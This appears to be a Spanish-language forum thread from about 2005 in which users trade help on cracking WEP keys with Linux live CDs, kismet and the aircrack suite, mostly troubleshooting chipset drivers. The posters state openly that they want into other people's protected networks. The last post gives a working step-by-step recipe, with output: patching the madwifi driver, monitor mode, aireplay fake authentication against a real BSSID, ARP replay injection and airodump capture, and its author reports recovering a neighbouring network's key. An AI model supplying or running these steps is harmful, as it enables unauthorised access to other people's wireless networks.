Por cierto anakin como acabo de ver que no te va linux (ups es que no me habia fijao jeje) pues utiliza el Auditor o el Whoppix(es que yo utilizo) que son Live-CD, ya se que son linux pero asi no tienes que instalarlos, y te explico paso a paso como tienes que hacerlo, lo malo es que no podrás inyectar trafico pero si poner en modo monitor... venga que no es tan complicao!

Para ti Aironjack....

Si creo que seria muy necesario que publicaras primeramente una guia para poder instalar drivers para otros chipsets...,creo que eso sería muy conveniente ya que lo del auditor va muy bien y a ser posible si tu tienes acceso al proyecto através del foro de la distribución podrias insistir en que hicieran un auditor con el máximo posible de drivers que creo que esta versión va corta de ellos...

Creo por cierto, que me va a costar más de lo que creía poder llegar hacer algo almenos bajo linux ya que mire por donde mire me encuentro con impedimentos principalmente por culpa de los drivers..., osea que esperaré un poco para que investigues sobre la utilización del auditor y la cuestión de los drivers...
Si haces el manual, por favor que sea lo más detalladamente posible siguiendo los pasos uno por uno de lo que hay que hacer...

Estoy a la espera de pillarme una tarjeta con Realink que veo que se puede utilizar bajo windows bajo el Airopeek..., pero también me gustaria saberlo hacer bajo linux ya que me he metido en el barrizal....

He conseguido un adaptador ZyDas pero veo que tmb este chipset baila con linux osea que todo mi gozo en un pozo...¿por cierto que opinas de este chipset Zydas?

P.D. Bueno, de todas todas lo más importante aqui que veo es ese manual que puedas llegar hacer de instalación de drivers bajo el auditor que seria lo más conveniente...., por cierto, si, mirate la Bios de tu ordenador pq a mi el auditor me detecta el hard disk y olvidate del adaptador Usb que es un rollo.
Parece ser que diegingg se ha ofrecido para detallar los pasos de como poner drivers con el auditor osea que haber si después de este post se enrolla y explica paso a paso lo que hay que hacer para el realink y instalar sus drivers....
De todas maneras, por lo que veo, aunque llegue a descifrar la WEP bajo linux con realink me veo crudo lo de poder inyectar tráfico, por eso te pregunto antes que que tal este chipset de ZyDas...

Saludos AironJack y lo siento por hacerte trabajar en holidays  8)

mmm............ eso k dices de k te detecta al disco duro etc.................. 

ahor me pregutno, y para k sirven las particiones? si toda la unidad de disco duro es NTFS......puedes guardar kualkier kosa d linux?¿

otra cosa, anakin tienes *parte* d razon...... tus explicaciones, aun siendo las mas buenas d internet, me estan achixarrando la vista, no voy ni con protector de pantalla........ no me va la impresora.....

Blind hacker? xD

Uy que me he confundido en una de las ultimas lineas:


-en lugar de iwconfig ra0 up ponemos ifconfig ra0 up.
-en lugar de iwconfig ra0 down ponemos ifconfig ra0 down.

BUenas a todos,
parece que despues de varias ostilidades por parte de mas de uno, ya estan las cosas mas tranquilas  me alegro.

Porque ademas ha salido un tema interesante, capturas con el driver rt2500, no es asi?

Despues de darme golpes y mas golpes con windows me decidi por el linux, y como no, por el lice CD de Auditor. Pues estuvo bien, hice mis cositas, pero se me quedo un poco corto cuando decidi comprarme mi segunda tarjeta. Esta es una para el driver rt2500. Pues bien. Despues de ver que no hay driver de esta tarjeta en el auditor, me decidi por instalarme una version linux. La verdad es que al principio me daba un poco de pereza ( que no miedo ), porque yo tambien habia oido que linux es para gente avanzada en esto de la informatica. Bueno pues despues de 4 semanitas, ya he configurado un linux para mis tarjetas, le he metido aircrack, airodump, aireplay y kismet y va todo de p*** madre.

He visto que solo hay que leer bien las cosas y ya está, no es windows, pero no es imposible. Me decidi por un mandrake 10.2 limited edition del 2005. Yo lo encontre sin problemas por la red en descarga de 3cds. Brutal. La instalacion muy intuitiva.

Despues actualice kernel. Instale los drivers de mis tarjetas atheros y ratlink y heche a correr el kismet.

Por ahora solo me va la atheros. Hoy quiero darle un empujon al rt2500.

Un saludo a todos

Hola a todos:

Weno lo primero es que soy nuevo en linux y en wifi prácticamente también.

Primero decir que tengo una conceptronic pci con chip rt2500, en windows detecto dos redes una con 60-70% de señal y desprotegida a la que me puedo conectar y trastear con el router pero no puedo navegar, no se por qué, ya lo comente en otro post pero no tuvo mucho éxito. Y otra protegida por WEP con un 36-40% a la que quiero acceder por no poder entrar en la otra

He estado probando con whoppix y gracias a eltitoneo he conseguido configurar mi tarjeta en linux conseguir que vaya en modo monitor, que funcione el kismet, el airodump... gracias eltitoneo!!

Bueno ahí van mis preguntas

1.- He intentado hacer los mismo con el auditor pero al poner #make ya me salia error, asi q lo deje y lo hice con whoppix, ya he visto que miliet ha conseguido hacerlo funcionar, asi q lo probaré

2.- Me baje el video de romper WEP con whoppix en 10 min y segui los pasos, pero al poner ./wlanng.sh start ra0 7 me daba error, puede ser porque al cambiar el kismet.conf puse source=wlanng,ra0,Ralink en vez de source=rt2500,ra0,ralink? Ah! y ya de paso para que sirve este comando?

3.- Al final dejé lo del video y seguí el manual de este foro, por cierto extraordinario!

3.1- Abro el kismet (hay veces q lo tengo q abrir y cerrar varias veces pq no me detecta el ap de señal más debil y tengo q reiniciar la tarjeta) y me van apareciendo los paquetes, si no hay nadie conectado no llegan IVs, pero  cuando hay alguien van llegando, abro el airodump y me va recogiendo IVs, pero el numero de IVs q recoge es mucho menor q el numero de dupe IV que aparecen en el kismet, es esto normal?? Por ejemplo puedo tener 500000 dupe IV en el kismet y solo 4000 IV en el airodump

3.2.- Una vez hecho esto abro el aireplay, te pregunta lo de inyectar el  paquete, y le digo q si y el numero de paquetes aumenta tremendamente, pero las IVs no, yo creo que incluso va más lento q sin el aireplay, que debo hacer, cerrarlo y abrir otro porque ese paquete no es valido? o es que no se puede inyectar trafico con el rt2500?

3.3- Esta mañana lo he tenido unas 5 horas y cuando he ido a mirar el pc, había petado, seguía en linux y no hacia más que leer el cd supongo q porque se habría llenado la ram.
Puedo acceder a los discos duros perfectamente, podría guardar los cap ahí verdad? no se si ha sido culpa del kismet o del airodump pero tenia un archivo que ocupaba a las 2 o 3 horas 75mb y seguía creciendo, si es del kismet cómo puedo hacer para que guarde los archivos en el hd? pq con el airodump puedes poner donde quieres q s t guarde pero si es el kismet no sé

De momento creo q ya es suficiente, perdón por el tocho y ojala me podais ayudar

Saludos

Buenas a todos.

Solo queria hacer una puntualizacion al poss de eltitoneo.


Hace una semana que me he conectado a una red que captaba desde mi casa, pues bien, cual fue mi sorpresa cuando descubri que mi tarjeta con chip Atheros, utilizando linux, utilizando la ultima version beta de aircrack, era capaz de inyectar y capturar paquetes a la vez!!

En cuestion de 2 horas tenia la clave de esa red.

Los pasos que seguí fueron los siguientes (pero que conste que estos pasos los saque de leer la ayuda del aircrack) :

Patch el driver Atheros:

cd madwifi
patch -Np1 -i ~/aircrack-2.2/linux/patch/madwifi-20050309.patch.0.1
make
make install
modprobe ath_pci

Estas sentencias son correctas si tenemos ambos paquetes descomprimidos en /usr/src

Configracion de la Atheros

# iwconfig ath0 mode Monitor channel X

Siendo X el canal que se quiere leer

# iwpriv ath0 mode 2; ifconfig ath0 up

# aireplay -1 12345 -a 00:13:10:30:24:9C -h 00:09:5B:EB:C5:2B ath0

Siendo 00:13:10:30:24:9C la BSSID de la red y 00:09:5B:EB:C5:2B una mac asociada a esa red. Esto se ve con el Kismet.

La respuesta es la siguiente:

12:14:06  Sending Authentication Request
12:14:06  Authentication successful
12:14:06  Sending Association Request
12:14:07  Association successful.

Si solo aparece "Sending Authentication Request" puedes intentarlo de nuevo o cambiar la MAC de otro asociado a la red si hay mas de uno.

Despues en otra ventana con la misma mac del asociado anterior:

# aireplay -x 600 -3 -h 00:09:5B:EB:C5:2B ath0

La respuesta es:

Saving ARP requests in replay_arp-0627-121526.cap
You must also start airodump to capture replies.
Read 2573 packets, sent 1255 packets...

Puede tardar en enviar paquetes, pero es hasta que reconoce un paquete valido.

Despues abris un airodump y a correr.
# airodump ath0 out-chX X 1

Siendo X el canal elegido. Esto os guardara un archivo llamado out.chX en el directorio desde el cual ejecuteis airodump.

La unica duda que tengo es la siguiente. Tenia una rt2500 capturando paquetes a la vez que realice todos los pasos anteriores. Ambas tarjetas capturaban y guardan sobre la misma tarjeta.

Cuando llevaban cada una aproximadamente la mitad de IV unicos segun airodump, probe aircrack. La sorpresa fue que me cogio 750mil IVs. Esto puede ser que coja tods los archivos validos de un directorio y sume ambos IVs.

Espero que sea de ayuda. Un saludo.